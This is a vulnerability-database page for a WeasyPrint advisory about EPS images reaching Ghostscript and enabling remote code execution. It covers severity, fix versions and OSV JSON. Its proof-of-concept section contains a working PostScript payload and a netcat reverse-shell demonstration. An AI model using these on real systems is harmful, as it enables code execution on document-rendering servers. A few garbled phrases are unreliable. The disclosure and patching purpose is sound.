Vulnerabilities in pkg:pypi/WeasyPrint

PACKAGE
Advisory Identifier: GHSA-r543-q48m-4c9j
Advisory Summary

CVE-2026-106443 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-20: Improper Input Validation) affecting WeasyPrint libraries in the PyPI ecosystem. The issue involves eps images reach the ghostscript interpreter resulting in rce. Remediation is available by upgrading affected packages to version 70.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/WeasyPrint

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/WeasyPrint. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-r543-q48m-4c9j CVE-2026-106443 HIGH WeasyPrint: EPS images reach the Ghostscript interpreter resulting in RCE

CVE-2026-106443 at a Glance

CVE Identifier CVE-2026-106443
GHSA Identifier GHSA-r543-q48m-4c9j
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-20: Improper Input Validation
Affected Product WeasyPrint
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-106443

To remediate this vulnerability, upgrade all affected WeasyPrint dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

WeasyPrint fixed: 70.0
pip install WeasyPrint>=70.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show WeasyPrint

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-106443, inspect your installed packages using pip:

pip show WeasyPrint

Analyze the terminal output to locate any version of WeasyPrint in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 70.0), your application is affected.

Note: The pip show WeasyPrint command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In WeasyPrint, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary This was found during a pentest, funded by the NLNnet foundation, conducted by Stefan Vink from Radically Open Security and the only High issue found. WeasyPrint passes fetched image bytes directly to Pillow's generic format dispatcher without restricting the input format. When Ghostscript is installed on the host, Pillow's EpsImagePlugin invokes it to rasterize attacker-controlled EPS/PS input. Any content that can supply an image to WeasyPrint (an <img> URL, CSS image value, SVG image reference, or data URI) can therefore drive untrusted PostScript into an external interpreter. On hosts running a Ghostscript version with a known -dSAFER bypass, this yields remote code execution. ### Details The image pipeline reads an external response and hands the raw bytes to Pillow's format-agnostic Image.open, with no allowlist of safe raster formats: with fetch(url_fetcher, url) as response: bytestring = response.read() mime_type = forced_mime_type or response.content_type ... pillow_image = Image.open(BytesIO(bytestring)) Pillow selects the handler from the byte signature. For EPS/PS input it selects PIL.EpsImagePlugin, which invokes Ghostscript to rasterize the input when a Ghostscript executable is available. Modern Ghostscript builds may run with -dSAFER, but that does not remove the interpreter boundary — it only constrains it, and multiple CVEs have bypassed it. The defect in WeasyPrint is that it dispatches untrusted bytes to a format handler capable of invoking an external interpreter, without first validating that the input is a format whose safe handling WeasyPrint can guarantee. - Input: an image URL in <img>, a CSS image value, an SVG image reference, or a data URI. - Sink: the Ghostscript invocation inside Pillow's PIL.EpsImagePlugin, reached from weasyprint/images.py:287-327. ### Missing guards: - No allowlist limits image input to safe raster formats (e.g. PNG, JPEG, WebP) before Pillow's format dispatch. - No interpreter-specific CPU, memory, filesystem, or process-isolation guard exists in this path. Hosts without Ghostscript installed do not reach the EPS rasterization path; that is an environment dependency, not an input-format guard within WeasyPrint. ### PoC 1. Construct a minimal EPS payload that proves the Ghostscript subprocess executes attacker-supplied PostScript. The following 201-byte payload writes a marker file: postscript %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 100 100 (/tmp/test-marker.txt) (w) file dup (test_GHOSTSCRIPT_MARKER\n) writestring closefile 0.5 setgray 0 0 100 100 rectfill showpage %%EOF 1. The path /tmp/test-marker.txt is illustrative; a hardened reproduction writes the marker into a unique mode-0700 directory created with tempfile.mkdtemp. The write destination exists only to prove the Ghostscript subprocess executed user-supplied PostScript. 2. Embed the payload in a data:image/x-eps;base64,... URI inside an <img> element and render the document with WeasyPrint. The run requires no shell, network, reverse shell, or deployment endpoint. 3. Observe the outcome: record the Ghostscript version, the render return code, the generated PDF size, and the private marker file contents. On Ghostscript 10.05.1 this was constrained to the bounded file write above. 4. To confirm the full RCE chain, a down-rev Ghostscript 10.03.0 was invoked directly with the CVE-2024-29510 payload while a netcat listener ran on 127.0.0.1:4444. The Ghostscript subprocess connected back and dropped into an interactive shell within a 30-second window: $ nc -lvnp 4444 127.0.0.1 & Ncat: Version 7.94 ( https://nmap.org/ncat ) Ncat: Listening on 127.0.0.1:4444 $ gs -dSAFER -dBATCH -dNOPAUSE -dPARANOIDSAFER -sDEVICE=ppmraw \ -sOutputFile=/dev/null - < cve-2024-29510_payload.eps ... Ncat: Connection from 127.0.0.1:51884. bash: cannot set terminal process group (261755): Inappropriate ioctl for device bash: no job control in this shell tester@host:~$ 4. A host without Ghostscript installed does not reach the EPS rasterization path. ### Impact This is a remote code execution vulnerability (via untrusted-input-to-external-interpreter dispatch). - Rendering untrusted EPS through WeasyPrint on a host with Ghostscript installed executes attacker-controlled PostScript. On Ghostscript 10.05.1 the effded file write. - On a host running a Ghostscript version with a known -dSAFER bypass, the same input path yields full remote code execution — demonstrated with CVE-2024.03.0, which is still shipped in many LTS and end-of-life branches. - The unconditional defect in WeasyPrint is the missing image-format allowlist, which is what makes the interpreter reachable from untrusted input. ### Who is impacted: Any deployment that renders untrusted or partially-untrusted HTML/CSS/SVG through WeasyPrint on a host where Ghostscript is installed along combination on general-purpose document-rendering servers.

CVE-2026-106443 Affected WeasyPrint Versions

1 component(s)
Fixed Versions:
70.0
Product / Package Ecosystem Affected Versions Fixed Version
WeasyPrint
PyPI
< 70.0
70.0

References

Frequently Asked Questions

What is CVE-2026-106443?
CVE-2026-106443 is a security vulnerability in WeasyPrint involving EPS images reach the Ghostscript interpreter resulting in RCE under CWE-20: Improper Input Validation.
Which WeasyPrint versions are affected?
Affected versions include releases prior to 70.0 across affected packages: WeasyPrint.
What version fixes CVE-2026-106443?
Upgrading to 70.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is WeasyPrint affected?
Yes, WeasyPrint is affected in releases prior to 70.0. Upgrade your dependency to 70.0 or later.
What is the CVSS score of CVE-2026-106443?
CVE-2026-106443 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-106443?
CVE-2026-106443 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check PyPI dependencies for CVE-2026-106443?
Run the dependency tree command: 'pip show WeasyPrint'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r543-q48m-4c9j",
  "modified" : "2026-10-07T18:05:49Z",
  "published" : "2026-10-07T18:05:49Z",
  "aliases" : [ "CVE-2026-106443" ],
  "summary" : "WeasyPrint: EPS images reach the Ghostscript interpreter resulting in RCE",
  "details" : "### Summary\n\nThis was found during a pentest, funded by the NLNnet foundation, conducted by Stefan Vink from Radically Open Security and the only High issue found. \n\nWeasyPrint passes fetched image bytes directly to Pillow's generic format dispatcher without restricting the input format. When Ghostscript is installed on the host, Pillow's EpsImagePlugin invokes it to rasterize attacker-controlled EPS/PS input. Any content that can supply an image to WeasyPrint (an <img> URL, CSS image value, SVG image reference, or data URI) can therefore drive untrusted PostScript into an external interpreter. On hosts running a Ghostscript version with a known -dSAFER bypass, this yields remote code execution.\n\n### Details\n\nThe image pipeline reads an external response and hands the raw bytes to Pillow's format-agnostic Image.open, with no allowlist of safe raster formats:\n\nwith fetch(url_fetcher, url) as response:\n    bytestring = response.read()\n    mime_type = forced_mime_type or response.content_type\n\n...\n\npillow_image = Image.open(BytesIO(bytestring))\n\nPillow selects the handler from the byte signature. For EPS/PS input it selects PIL.EpsImagePlugin, which invokes Ghostscript to rasterize the input when a Ghostscript executable is available. Modern Ghostscript builds may run with -dSAFER, but that does not remove the interpreter boundary — it only constrains it, and multiple CVEs have bypassed it.\n\nThe defect in WeasyPrint is that it dispatches untrusted bytes to a format handler capable of invoking an external interpreter, without first validating that the input is a format whose safe handling WeasyPrint can guarantee.\n\n- Input: an image URL in <img>, a CSS image value, an SVG image reference, or a data URI.\n- Sink: the Ghostscript invocation inside Pillow's PIL.EpsImagePlugin, reached from weasyprint/images.py:287-327.\n\n### Missing guards:\n\n- No allowlist limits image input to safe raster formats (e.g. PNG, JPEG, WebP) before Pillow's format dispatch.\n- No interpreter-specific CPU, memory, filesystem, or process-isolation guard exists in this path.\n\nHosts without Ghostscript installed do not reach the EPS rasterization path; that is an environment dependency, not an input-format guard within WeasyPrint.\n\n### PoC\n\n1. Construct a minimal EPS payload that proves the Ghostscript subprocess executes attacker-supplied PostScript. The following 201-byte payload writes a marker file:\n\npostscript\n%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n(/tmp/test-marker.txt) (w) file\ndup (test_GHOSTSCRIPT_MARKER\\n) writestring\nclosefile\n0.5 setgray 0 0 100 100 rectfill\nshowpage\n%%EOF\n\n1. The path /tmp/test-marker.txt is illustrative; a hardened reproduction writes the marker into a unique mode-0700 directory created with tempfile.mkdtemp. The write destination exists only to prove the Ghostscript subprocess executed user-supplied PostScript.\n2. Embed the payload in a data:image/x-eps;base64,... URI inside an <img> element and render the document with WeasyPrint. The run requires no shell, network, reverse shell, or deployment endpoint.\n3. Observe the outcome: record the Ghostscript version, the render return code, the generated PDF size, and the private marker file contents. On Ghostscript 10.05.1 this was constrained to the bounded file write above.\n4. To confirm the full RCE chain, a down-rev Ghostscript 10.03.0 was invoked directly with the CVE-2024-29510 payload while a netcat listener ran on 127.0.0.1:4444. The Ghostscript subprocess connected back and dropped into an interactive shell within a 30-second window:\n\n$ nc -lvnp 4444 127.0.0.1 &\nNcat: Version 7.94 ( https://nmap.org/ncat )\nNcat: Listening on 127.0.0.1:4444\n\n$ gs -dSAFER -dBATCH -dNOPAUSE -dPARANOIDSAFER -sDEVICE=ppmraw \\\n    -sOutputFile=/dev/null - < cve-2024-29510_payload.eps\n...\nNcat: Connection from 127.0.0.1:51884.\nbash: cannot set terminal process group (261755): Inappropriate ioctl for device\nbash: no job control in this shell\ntester@host:~$\n\n4. A host without Ghostscript installed does not reach the EPS rasterization path.\n\n### Impact\n\nThis is a remote code execution vulnerability (via untrusted-input-to-external-interpreter dispatch).\n\n- Rendering untrusted EPS through WeasyPrint on a host with Ghostscript installed executes attacker-controlled PostScript. On Ghostscript 10.05.1 the effded file write.\n- On a host running a Ghostscript version with a known -dSAFER bypass, the same input path yields full remote code execution — demonstrated with CVE-2024.03.0, which is still shipped in many LTS and end-of-life branches.\n- The unconditional defect in WeasyPrint is the missing image-format allowlist, which is what makes the interpreter reachable from untrusted input.\n\n### Who is impacted: \n\nAny deployment that renders untrusted or partially-untrusted HTML/CSS/SVG through WeasyPrint on a host where Ghostscript is installed along combination on general-purpose document-rendering servers.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "WeasyPrint"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "70.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 69.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-r543-q48m-4c9j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-106443"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/WeasyPrint/commit/39cd37ce1610bd890388e26591c569db1cbab542"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Kozea/WeasyPrint"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/WeasyPrint/releases/tag/v70.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T18:05:49Z",
    "nvd_published_at" : "2026-10-06T19:18:13Z"
  }
}